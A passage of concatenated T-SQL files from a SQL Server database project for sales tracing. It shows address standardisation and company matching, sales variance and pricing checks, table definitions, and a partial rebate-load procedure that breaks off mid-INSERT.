FROM STAGE.TRC_ENDUSER_1 WHERE DISTACCTSHIPADDR1 IS NOT NULL
;
-- IF Address Line 1 is NULL but Address Line 2 has a value - switch
UPDATE MDM_STAGE.TEMP_ADDR
SET
ADDR_1 = ADDR_2,
ADDR_2 = NULL
WHERE ADDR_1 IS NULL AND ADDR_2 IS NOT NULL
--AND SRC_ID = ISNULL(@ID ,SRC_ID )
;
-- If both Addr1 and Addr2 is same then delete Addr2
UPDATE MDM_STAGE.TEMP_ADDR
SET ADDR_2 = NULL
WHERE ADDR_1 = ADDR_2
--AND SRCE_DATA_ID = ISNULL(@ID ,SRCE_DATA_ID)
;
-- Remove all extra spaces from the fields
UPDATE MDM_STAGE.TEMP_ADDR
SET
ORIG_NM = STAGE.fnRemoveSpace_SpChar( ORIG_NM),
ADDR_1 = STAGE.fnRemoveSpace_SpChar(ADDR_1),
ADDR_2 = STAGE.fnRemoveSpace_SpChar(ADDR_2) ;
-- Detect and assign proper value for Null or ZIP address line
UPDATE MDM_STAGE.TEMP_ADDR
SET ADDR_1 = 'NO ADDRESS'
WHERE ADDR_1 IS NULL AND ADDR_2 IS NULL;
UPDATE MDM_STAGE.TEMP_ADDR
SET ADDR_1 = 'NO ADDRESS'
WHERE ADDR_1 LIKE 'ZIP%';
---- UPDATE THE SOURCE TABLE
UPDATE E
SET E.UPD_ADDR1 = ADDR_1
FROM STAGE.TRC_ENDUSER_1 E
JOIN MDM_STAGE.TEMP_ADDR A ON A.SRC_ID = E.TRC_ENDUSER_1_ID
AND A.ADDR_1 = 'NO ADDRESS';
-- THEN REMOVE FROM TEMP TABLE
DELETE FROM MDM_STAGE.TEMP_ADDR WHERE ADDR_1 = 'NO ADDRESS';
---- ----------------------------------------
---- SWITCH ADDR1 AND ADDR2 WHEN APPLICABLE
----------------------------------------------
UPDATE T
SET T.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR T
JOIN REF.ADDR_STD A ON ADDR_2 LIKE '% '+A.ADDR_VAR
AND CAT IN ('Roadway','Location')
WHERE ISNUMERIC(LEFT(ADDR_2,1)) = 1;
UPDATE T
SET T.STAT_2_CD = 1
FROM MDM_STAGE.TEMP_ADDR T
JOIN REF.ADDR_STD A ON ADDR_2 LIKE '% '+A.ADDR_VAR+' %'
AND CAT IN ('Roadway','Location')
WHERE ISNUMERIC(LEFT(ADDR_2,1)) = 1
AND T.STAT_2_CD IS NULL; -- TO AVOID OVRLAPPING TAGGING
UPDATE T
SET T.STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR T
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(ADDR_1) LIKE '% '+A.ADDR_VAR
AND CAT IN ('Roadway','Location')
WHERE ISNUMERIC(LEFT(ADDR_1,1)) = 1
AND T.STAT_2_CD = 1;
UPDATE T
SET T.STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR T
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(ADDR_1) LIKE '% '+A.ADDR_VAR+' %'
AND CAT IN ('Roadway','Location')
WHERE ISNUMERIC(LEFT(ADDR_1,1)) = 1
AND T.STAT_2_CD = 1
AND T.STAT_1_CD is NULL;
---- NOW SWTICH ---
UPDATE MDM_STAGE.TEMP_ADDR SET
ADDR_1 = ADDR_2,
ADDR_2 = ADDR_1
WHERE STAT_2_CD = 1 AND STAT_1_CD IS NULL;
--- RESET ---
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = NULL WHERE STAT_1_CD IS NOT NULL;
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_2_CD = NULL WHERE STAT_2_CD IS NOT NULL;
------------------------------------
/*
SELECT COUNT(*)
FROM MDM_STAGE.TEMP_ADDR T
LEFT JOIN REF.ADDR_STD A ON STAGE.fnLastWord(ADDR_1) = A.ADDR_VAR
AND CAT IN ('Roadway','Location')
WHERE A.ADDR_VAR IS NULL
AND T.STAT_2_CD = 1 ;
*/
------------------------------------
-- EXECUTE THE STROED PROC to clean
------------------------------------
EXEC [STAGE].[spADDR_LAUNDRY];
-----------------------------------
TRUNCATE TABLE MDM_STAGE.TRC_ADDR_PARTS;
INSERT INTO MDM_STAGE.TRC_ADDR_PARTS (
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2 )
SELECT
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2
FROM MDM_STAGE.TEMP_ADDR_PARTS ;
UPDATE E
SET E.UPD_ADDR1 = A.ADDR_1, E.UPD_ADDR2 = A.ADDR_2
FROM STAGE.TRC_ENDUSER_1 E
JOIN MDM_STAGE.TEMP_ADDR_PARTS A ON E.TRC_ENDUSER_1_ID = A.SRC_ID;
UPDATE STAGE.TRC_ENDUSER_1 SET
UPD_ADDR1 = 'NO ADDRESS' WHERE UPD_ADDR1 IS NULL;
--TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
--TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
-- reassign primary location city to the address for better compability
UPDATE STAGE.TRC_ENDUSER_1 SET DISTACCTSHIPZIP = LEFT(LTRIM(DISTACCTSHIPZIP),5);
UPDATE STAGE.TRC_ENDUSER_1 SET DISTACCTSHIPZIP = '0'+DISTACCTSHIPZIP WHERE LEN(DISTACCTSHIPZIP) = 4;
UPDATE STAGE.TRC_ENDUSER_1 SET DISTACCTSHIPZIP = '00'+DISTACCTSHIPZIP WHERE LEN(DISTACCTSHIPZIP) = 3;
UPDATE T SET
T.UPD_CITY = Z.City
from STAGE.TRC_ENDUSER_1 T
JOIN REF.ZIP_CODE Z ON T.DISTACCTSHIPZIP = Z.Zipcode
WHERE Z.LocationType = 'PRIMARY';
---------------------------------------
----- MATCH MASTER DATA ----------
---------------------------------------
--- Iteration 1
UPDATE E SET
E.COMPANY_ID = C.CMPNY_ID
FROM STAGE.TRC_ENDUSER_1 E
JOIN MDM_STAGE.TRC_ADDR_PARTS T ON E.TRC_ENDUSER_1_ID = T.SRC_ID
JOIN MDM_STAGE.CMPNY_ADDR_PARTS CA
ON T.ST_NR = CA.ST_NR AND T.ST_NM = CA.ST_NM
AND ISNULL(T.STE_NR,'NA') = ISNULL(CA.STE_NR,'NA')
JOIN CMPNY.CMPNY_TO_ADDR_XREF X ON CA.CMPNY_ADDR_ID = X.ADDR_ID AND X.PRIMARY_CMPNY_IN = 'Y'
JOIN CMPNY.COMPANY C ON X.CMPNY_ID = C.CMPNY_ID AND E.UPD_CITY = C.CMPNY_CITY AND E.DISTACCTSHIPSTATE = C.CMPNY_ST ;
---- ITERATION 2
--- MAX ID
UPDATE E SET
E.COMPANY_ID = X.HOSPITAL_ID
FROM STAGE.TRC_ENDUSER_1 E
JOIN STAGE.PDI_MAX_TO_DEFHC_CROSSWALK X ON E.COACCTMAX = X.CompanyId
WHERE E.COACCTMAX IS NOT NULL
--AND E.COMPANY_ID IS NULL -- Trusting DDS mapping more, when my new process gets refined, I will take the comment off
;
-- Same Distributor assigned ID + zip
UPDATE E1 SET
E1.COMPANY_ID = E2.COMPANY_ID
FROM STAGE.TRC_ENDUSER_1 E1 ,
(SELECT DISTINCT COMPANY_ID, DISTID, DISTACCTID, DISTACCTSHIPZIP
FROM STAGE.TRC_ENDUSER_1
WHERE COMPANY_ID IS NOT NULL) E2
WHERE E1.DISTID = E2.DISTID
AND E1.DISTACCTID = E2.DISTACCTID
AND E1.DISTACCTSHIPZIP = E2.DISTACCTSHIPZIP
AND E1.COMPANY_ID IS NULL;
-- after further analysis of distributor data, zip code condtion can be taken of for the distrbutors whihc do not reuse ID
-------- iteration 3
-- same street and closest name - minimum score 50%
-------- iteration 4
-- same zip - maxmim name score -- minimum score 50%
-------- iteration 5
-- same city state - maxmim name score -- minimum score 50%
-------- iteration 6
-- highest name score within 20 miles --
-------- iteration 7
-- get from DQS --
--- Google API
--- Keep createing more iteration ------------
UPDATE C SET
BUYER_INDICATOR = 'Y'
FROM CMPNY.COMPANY C
JOIN STAGE.TRC_ENDUSER_1 E ON E.COMPANY_ID = C.CMPNY_ID
WHERE E.COMPANY_ID IS NOT NULL;
--- SALES DETAIL --
TRUNCATE TABLE CMPNY.CMPNY_SALES;
INSERT INTO CMPNY.CMPNY_SALES (
[CMPNY_ID], [Sani Surface], [Prevantics], [Specialty], [Sani Hands], [Iodine], [Baby Wipes], [Hygea], [Adult Wipes], [Compliance Accessories], [Profend], [All Other], [TOTAL SALES PRIOR YEAR])
SELECT
C.CMPNY_ID,
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Sani Surface' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Sani Surface],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Prevantics' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Prevantics],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Specialty' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Specialty],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Sani Hands' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Sani Hands],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Iodine' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Iodine],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Baby Wipes' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Baby Wipes],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Hygea' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Hygea],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Adult Wipes' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Adult Wipes],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Compliance Accessories' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Compliance Accessories],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'Profend' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [Profend],
SUM(CASE WHEN P.PROD_CATEGORY_ERP = 'All Other' THEN S.COTOTALSALESAMNT ELSE 0 END) AS [All Other],
SUM(S.COTOTALSALESAMNT) [SALES PRIOR YEAR]
FROM CMPNY.COMPANY C
JOIN STAGE.TRC_ENDUSER_1 E ON E.COMPANY_ID = C.CMPNY_ID
JOIN STAGE.DDS_PDI_SAF_EXTRACT S ON S.COACCTID = E.COACCTID
JOIN STAGE.dim_product P ON S.COITEMID = P.PRODUCT_ID
WHERE LEFT(S.SALESPERIOD,4) = 2018
GROUP BY C.CMPNY_ID ;
-- UPDATE FOR IDN OR PARENT
END;<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_CNT_PND_ITM.sql
CREATE TABLE [PCM].[PCM_CNT_PND_ITM] (
[CNT_PND_ITM_PK] INT IDENTITY (1, 1) NOT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[ITM_NR] VARCHAR (20) NOT NULL,
[ITM_PRC] DECIMAL (18, 2) NULL,
[CREATE_DTTS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/dbazone_monitor.sql
CREATE USER [dbazone_monitor];
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_Sajal.Dutta.sql
CREATE USER [NICEPAK\Sajal.Dutta] FOR LOGIN [NICEPAK\Sajal.Dutta];
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/TRC_NM.sql
CREATE TABLE [SNDBX].[TRC_NM] (
[TRC_CMPNY_ID] INT NOT NULL,
[TRC_NM] VARCHAR (100) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Stored Procedures/Getcompany_Pager.sql
CREATE PROCEDURE [STG0].[Getcompany_Pager]
@SearchTerm VARCHAR(500) = ''
,@PageIndex INT = 1
,@PageSize INT = 10
,@RecordCount INT OUTPUT
AS
BEGIN
SET NOCOUNT ON;
SELECT ROW_NUMBER() OVER
(
ORDER BY [CMPNY_ID] ASC
)AS RowNumber
,[CMPNY_ID], [CMPNY_NM],[CMPNY_ADDR_1],[CMPNY_CITY],[CMPNY_ST],[CMPNY_ZIP]
INTO #Results
FROM [CMPNY].[COMPANY]
WHERE [CMPNY_NM] LIKE '%'+ @SearchTerm + '%' OR @SearchTerm = ''
SELECT @RecordCount = COUNT(*)
FROM #Results
SELECT * FROM #Results
WHERE RowNumber BETWEEN(@PageIndex -1) * @PageSize + 1 AND(((@PageIndex -1) * @PageSize + 1) + @PageSize) - 1
DROP TABLE #Results
END<file_sep>/PDI_SALESTRACING_DEV/MDM_STAGE/Tables/GPO_MEMBER.sql
CREATE TABLE [MDM_STAGE].[GPO_MEMBER] (
[GPO Name] NVARCHAR (100) NULL,
[Definitive ID] INT NULL,
[Hospital Name] NVARCHAR (200) NULL,
[Relationship Type] NVARCHAR (50) NULL,
[Firm Type] NVARCHAR (60) NULL,
[Address] NVARCHAR (62) NULL,
[Address 1] NVARCHAR (55) NULL,
[City] NVARCHAR (50) NULL,
[State] NVARCHAR (50) NULL,
[Zip Code] NVARCHAR (50) NULL,
[Phone Number] NVARCHAR (50) NULL,
[Network ID] NVARCHAR (50) NULL,
[Network Name] NVARCHAR (91) NULL,
[Network Parent ID] NVARCHAR (50) NULL,
[Network Parent Name] NVARCHAR (82) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spSALES_TRACING_VAR_PROD.sql
CREATE PROCEDURE [STAGE].[spSALES_TRACING_VAR_PROD]
@vSales_Period varchar(10)=NULL, @vDist_NR varchar(48) = null
WITH EXEC AS CALLER
AS
BEGIN
/*
DELETE FROM TRC.SALES_TRACING_VAR_PROD
WHERE SALES_PERIOD = ISNULL(@vSales_Period,SALES_PERIOD)
AND DIST_NR = ISNULL(@vDist_NR,DIST_NR) */
TRUNCATE TABLE TRC.SALES_TRACING_VAR_PROD;
INSERT INTO TRC.SALES_TRACING_VAR_PROD
( SALES_PERIOD, DIST_NR, DIST_ID, DIST_CNT_NR, DIST_PROD_ID, PDI_CNT_NR, PDI_PROD_ID, VC_CNT_NR, VC_PROD_ID, PDI_QtySold, VC_QtySold, PDI_SALESAMT, VC_SALESAMT, VAR_QTY_SOLD, VAR_SALES_AMT,PDI_PRC, VC_PRC )
SELECT PDI.SALES_PERIOD, PDI.DIST_NR , PDI.DIST_ID,
PDI.DIST_CNT_NR, PDI.DIST_PROD_ID, PDI.PDI_CNT_NR, PDI.PDI_PROD_ID,
VC_CNT_NR, VC_PROD_ID, PDI_QtySold,VC_QtySold,PDI_SALESAMT,VC_SALESAMT,
(PDI_QtySold - VC_QtySold) AS VAR_QTY_SOLD,
(PDI_SALESAMT - VC_SALESAMT) AS VAR_SALES_AMT,
CASE WHEN ISNULL(PDI_QtySold,0) <> 0 THEN (PDI_SALESAMT/PDI_QtySold) ELSE NULL END AS PDI_PRC,
CASE WHEN ISNULL(VC_QtySold,0) <> 0 THEN (VC_SALESAMT/VC_QtySold) ELSE NULL END AS VC_PRC
FROM
(
select SALES_PERIOD, DIST_NR , DIST_ID ,
ISNULL(TRC_CNT_ID,'NA') AS DIST_CNT_NR, TRC_PROD_ID AS DIST_PROD_ID,
ISNULL(UPD_CNT_ID,'NA') AS PDI_CNT_NR, UPD_PROD_ID AS PDI_PROD_ID,
CAST(sum(isnull(UPD_CS_QTY,0)) AS DECIMAL(18,2)) as PDI_QtySold,
CAST(sum(isnull(UPD_SALES_AMT,0)) AS DECIMAL(18,2)) as PDI_SALESAMT
from PDI_SALESTRACING_DEV.STAGE.SALES_TRACING_CURR
where
sales_period = ISNULL(@vSales_Period,sales_period)
AND DIST_NR = ISNULL(@vDist_NR,DIST_NR)
AND SLS_CALC_STAT <> 'N'
group by SALES_PERIOD, DIST_NR , DIST_ID , TRC_CNT_ID, TRC_PROD_ID, UPD_CNT_ID, UPD_PROD_ID
) PDI
full outer JOIN
(
select SALESPERIOD, DISTCOID AS DIST_NR , DISTID,
ISNULL(DISTCONTID,'NA') AS DIST_CNT_NR, DISTITEMID AS DIST_PROD_ID,
COCONTID AS VC_CNT_NR, COITEMID AS VC_PROD_ID,
--convert(decimal,sum(COQTYSOLD),2) as VC_QtySold,
CAST(sum(isnull(COQTYSOLD,0)) AS DECIMAL(18,2)) as VC_QtySold,
CAST(sum(isnull(COTOTALSALESAMNT,0)) AS DECIMAL(18,2)) as VC_SALESAMT
from PDI_SALESTRACING_DEV.STAGE.DDS_PDI_SAF_EXTRACT
where
salesperiod = ISNULL(@vSales_Period ,salesperiod)
AND DISTCOID = ISNULL(@vDist_NR,DISTCOID)
group by SALESPERIOD, DISTCOID, DISTID, DISTCONTID, DISTITEMID,COCONTID,COITEMID
) VC
ON PDI.SALES_PERIOD = VC.SALESPERIOD AND PDI.DIST_NR = VC.DIST_NR AND PDI.DIST_CNT_NR = VC.DIST_CNT_NR AND PDI.DIST_PROD_ID = VC.DIST_PROD_ID;
UPDATE V
SET V.CORR_PRC = C.PROD_PRC
FROM TRC.SALES_TRACING_VAR_PROD V JOIN CNT.CNT_PROD C ON V.PDI_CNT_NR = C.CNT_NR AND V.PDI_PROD_ID = C.PROD_ID
WHERE C.REC_STAT_CD = 'A'
AND V.PDI_CNT_NR <> 'NA'
AND V.CORR_PRC IS NULL;
UPDATE V
SET V.CORR_PRC = D.CS_PRICE
FROM TRC.SALES_TRACING_VAR_PROD V JOIN STAGE.DIST_PRICE D ON D.ITEMID = V.PDI_PROD_ID AND D.DISTID = V.SALES_PERIOD
WHERE V.PDI_CNT_NR ='NA'
AND V.SALES_PERIOD BETWEEN D.EFFDATE AND D.EXPDATE
AND V.CORR_PRC IS NULL;
UPDATE V
SET V.CORR_PRC = L.CS_PRICE
FROM TRC.SALES_TRACING_VAR_PROD V JOIN STAGE.LIST_PRICE L ON V.PDI_PROD_ID = L.[ITEM NO]
WHERE V.PDI_CNT_NR ='NA'
AND V.CORR_PRC IS NULL;
UPDATE TRC.SALES_TRACING_VAR_PROD
SET ISSUE_WITH = 'TBD', ISSUE = 'QUANTITY'
WHERE (PDI_QtySold < -1.02*VC_QtySold OR PDI_QtySold > 1.02*VC_QtySold) ;
UPDATE TRC.SALES_TRACING_VAR_PROD
SET ISSUE_WITH = 'PDI', ISSUE = CASE WHEN ISSUE IS NULL THEN 'PRICE' ELSE ISSUE+'; '+'PRICE' END
WHERE VC_PRC BETWEEN -1.01*CORR_PRC AND 1.01*CORR_PRC
AND (PDI_PRC < -1.01*CORR_PRC OR PDI_PRC > 1.01*CORR_PRC);
UPDATE TRC.SALES_TRACING_VAR_PROD
SET ISSUE_WITH = 'VC', ISSUE = CASE WHEN ISSUE IS NULL THEN 'PRICE' ELSE ISSUE+'; '+'PRICE' END
WHERE PDI_PRC BETWEEN -1.01*CORR_PRC AND 1.01*CORR_PRC
AND (VC_PRC < -1.01*CORR_PRC OR VC_PRC > 1.01*CORR_PRC);
/*
SELECT
SALES_PERIOD, DIST_NR, DIST_ID, DIST_CNT_NR, DIST_PROD_ID, PDI_CNT_NR, PDI_PROD_ID, VC_CNT_NR, VC_PROD_ID,
PDI_QtySold, VC_QtySold, PDI_SALESAMT, VC_SALESAMT,
VAR_QTY_SOLD, VAR_SALES_AMT, PDI_PRC, VC_PRC, CORR_PRC,
ISSUE, ISSUE_WITH
FROM TRC.SALES_TRACING_VAR_PROD
WHERE
SALES_PERIOD = @vSales_Period
AND DIST_NR = @vDist_NR
ORDER BY ABS(VAR_SALES_AMT) DESC;
*/
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_ASC_Affiliations.sql
CREATE TABLE [STG0].[PDI_ASC_Affiliations] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ID] VARCHAR (50) NULL,
[AFFILIATED_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_FIRM_TYPE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ADDRESS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ADDRESS1] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_CITY] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_STATE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ZIP_CODE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NETWORK_ID] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NETWORK_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NPI] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ASC_TOTAL_CHARGES] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ASC_NUMBER_CLAIMS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NUMBER_HOSPITALS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_TOTAL_CHARGES] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NET_PATIENT_REVENUE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NUMBER_BEDS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NUMBER_AFFILIATED_PHYSICIANS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NUMBER_AFFILIATED_PHYSICIANS_PHYSICIAN_GROUP] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HHA_TOTAL_VISITS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HOSPICE_TOTAL_MEDICARE_CLAIMS] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/sandbox.sql
CREATE SCHEMA [sandbox]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGetGPOTierCntNrPriceAuth.sql
CREATE PROCEDURE CNT.spGetGPOTierCntNrPriceAuth
AS
BEGIN
SELECT DISTINCT
C.BUYER_GRP_ID AS buyerGrpId,
G.CMS_NM AS gpoName
FROM [SNDBX].[PRC_AUTH_EB] P
JOIN [CNT].[CONTRACT] C ON C.CNT_NR = P.MFG_CNT_NR
AND C.REC_STAT_CD = 'A'
JOIN [STAGE].[PRCHS_GRP] G ON C.BUYER_GRP_ID = G.PDI_GRP_ID
WHERE PRC_AUTH_STAT_CD = 'P';
SELECT DISTINCT
P.TIER_NR
FROM [SNDBX].[PRC_AUTH_EB] P
WHERE P.TIER_NR IS NOT NULL;
SELECT DISTINCT
P.MFG_CNT_NR
FROM [SNDBX].[PRC_AUTH_EB] P
WHERE P.MFG_CNT_NR IS NOT NULL;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/SALES_PERIOD.sql
CREATE TABLE [STAGE].[SALES_PERIOD] (
[SALES_PERIOD] INT NOT NULL,
[LOAD_IN] CHAR (1) NULL,
[STATUS] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CONT/Tables/CNT_PROD.sql
CREATE TABLE [CONT].[CNT_PROD] (
[CNT_PROD_PK] INT IDENTITY (1, 1) NOT NULL,
[REC_EFF_DT] DATE NOT NULL,
[REC_EXP_DT] DATE NOT NULL,
[REC_STAT_CD] CHAR (1) NOT NULL,
[Contract_ID_FK] INT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[PROD_ID_FK] INT NULL,
[PROD_ID] VARCHAR (20) NOT NULL,
[PROD_EFF_DT] DATE NOT NULL,
[PROD_EXP_DT] DATE NOT NULL,
[PROD_EFF_DT_NR] INT NOT NULL,
[PROD_EXP_DT_NR] INT NOT NULL,
[PROD_UOM] CHAR (2) NOT NULL,
[PROD_PRC] DECIMAL (18, 2) NOT NULL,
[PROD_STAT_CD] VARCHAR (20) NULL,
[SRCE_REC_MOD_DT_NR] BIGINT NULL,
[CURRENT TIMESTAMP] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CROTHALL_GAP_ANALYSIS.sql
CREATE TABLE [STAGE].[CROTHALL_GAP_ANALYSIS] (
[YR_MN] VARCHAR (6) NULL,
[ENDUSER_ID] VARCHAR (150) NULL,
[ENDUSER_NAME] VARCHAR (150) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[ADDR1] VARCHAR (250) NULL,
[ADDR2] VARCHAR (250) NULL,
[CITY] VARCHAR (50) NULL,
[ST] VARCHAR (2) NULL,
[ZIP] VARCHAR (10) NULL,
[CNT_NR] VARCHAR (30) NULL,
[PROD_ID] VARCHAR (30) NULL,
[SLS_2018] NUMERIC (38, 2) NULL,
[MonthYear] INT NULL,
[EndUser ID] INT NULL,
[EndUser Name] NVARCHAR (95) NULL,
[ShipTo Address1] NVARCHAR (66) NULL,
[ShipTo City] NVARCHAR (50) NULL,
[Shipto State] NVARCHAR (50) NULL,
[ShipTo Zip] NVARCHAR (50) NULL,
[Distributor Name] NVARCHAR (59) NULL,
[Contract Name] NVARCHAR (50) NULL,
[Contract Number] NVARCHAR (50) NULL,
[Product ID] NVARCHAR (50) NULL,
[Sales Amount] DECIMAL (28, 10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_SAVE_UCI_CORR.sql
CREATE PROCEDURE [TRC].[spTRC_SAVE_UCI_CORR]
@vTRC_CNT_ID varchar(30), @vUPD_CNT_ID varchar(30)
WITH EXEC AS CALLER
AS
BEGIN
BEGIN
MERGE [PDI_SALESTRACING_DEV].[STAGE].[TRC_CNT_CORR_XREF] T
USING
(SELECT TRC_CNT_ID = @vTRC_CNT_ID, PROD_ID='ALL', UPD_CNT_ID=@vUPD_CNT_ID,
TRC_CNT_TYP=CASE WHEN LEFT(@vTRC_CNT_ID,3)='CNT' THEN 'PDI' ELSE 'GPO' END ) AS S
ON T.TRC_CNT_ID = S.TRC_CNT_ID
WHEN NOT MATCHED BY TARGET THEN
INSERT
(TRC_CNT_ID, PROD_ID, UPD_CNT_ID, TRC_CNT_TYP)
VALUES
(S.TRC_CNT_ID, S.PROD_ID, S.UPD_CNT_ID, S.TRC_CNT_TYP)
WHEN MATCHED THEN
UPDATE
SET T.UPD_CNT_ID = S.UPD_CNT_ID;
END;
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_Hospital_Beds_Breakdown.sql
CREATE TABLE [STG0].[PDI_Hospital_Beds_Breakdown] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[BED_TYPE] VARCHAR (MAX) NULL,
[REVENUES] VARCHAR (MAX) NULL,
[INPATIENT_REVENUE] VARCHAR (MAX) NULL,
[OUTPATIENT_REVENUES] VARCHAR (MAX) NULL,
[COSTS] VARCHAR (MAX) NULL,
[SALARIES] VARCHAR (MAX) NULL,
[NUMBER_BEDS] VARCHAR (MAX) NULL,
[MEDICARE_DAYS] VARCHAR (MAX) NULL,
[MEDICAID_DAYS] VARCHAR (MAX) NULL,
[OTHER_DAYS] VARCHAR (MAX) NULL,
[TOTAL_DAYS] VARCHAR (MAX) NULL,
[BED_DAYS_AVAILABLE] VARCHAR (MAX) NULL,
[UTILIZATION_RATE] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/dbo/Stored Procedures/usp_test_laod_curr_rbt_from_stg0_medline_rbt.sql
create proc usp_test_laod_curr_rbt_from_stg0_medline_rbt
as
/*
update [STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
set sales_period = '20181001'
from [STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
*/
insert into [STAGE].[SALES_TRACING_CURR_MEDLINE_RBT](
[MNTH] , [DAY], [SALES_PERIOD],[YEAR] , [DIST_ID], [DIST_NR] ,
[TRC_TRNS_TYP] ,
[TRC_CNT_ID] ,
[TRC_PROD_ID] ,
[TRC_PRC_TYP],
[INV_ID] ,
[INV_DT] ,
[INV_DT_NR] ,
[TRC_UNIT] ,
[TRC_QTY_SLD] ,
[TRC_CNT_PRC] ,
[TRC_LIST_PRC] ,
[TRC_DIST_PRC],
[TRC_RBT_AMT] ,
[LINE_NR] ,
[SHPTO_ID] ,
[SHPTO_NM] ,
[SHPTO_ADDR_1] ,
[SHPTO_ADDR_2] ,
[SHPTO_CITY] ,
[SHPTO_ST] ,
[SHPTO_ZIP] ,
[SHPTO_TYP] ,
[BILLTO_ID] ,
[BILLTO_NM] ,
[BILLTO_ADDR_1],
[BILLTO_ADDR_2],
[BILLTO_CITY] ,
[BILLTO_ST] ,
[BILLTO_ZIP],
[BILLTO_TYP],
[DBT_MEMO] ,
[CURRENT TIMESTAMP]
,[TRC_EXT_LIST_COSt], [TRC_EXT_CNT_COST]
--, [TRC_EXT_DIST_COST]
, [TRC_EXT_RBT_AMT]
,[TRC_PROD_DESC]
,[SLS_CALC_STAT]
,[SRC_FILE_TYP]
, [Vendor]
, MedlineCon
, GpoId
, MedlineItm
, [Material GTIN]
, [Sold-To DEA#]
, [Sold-To GLN]
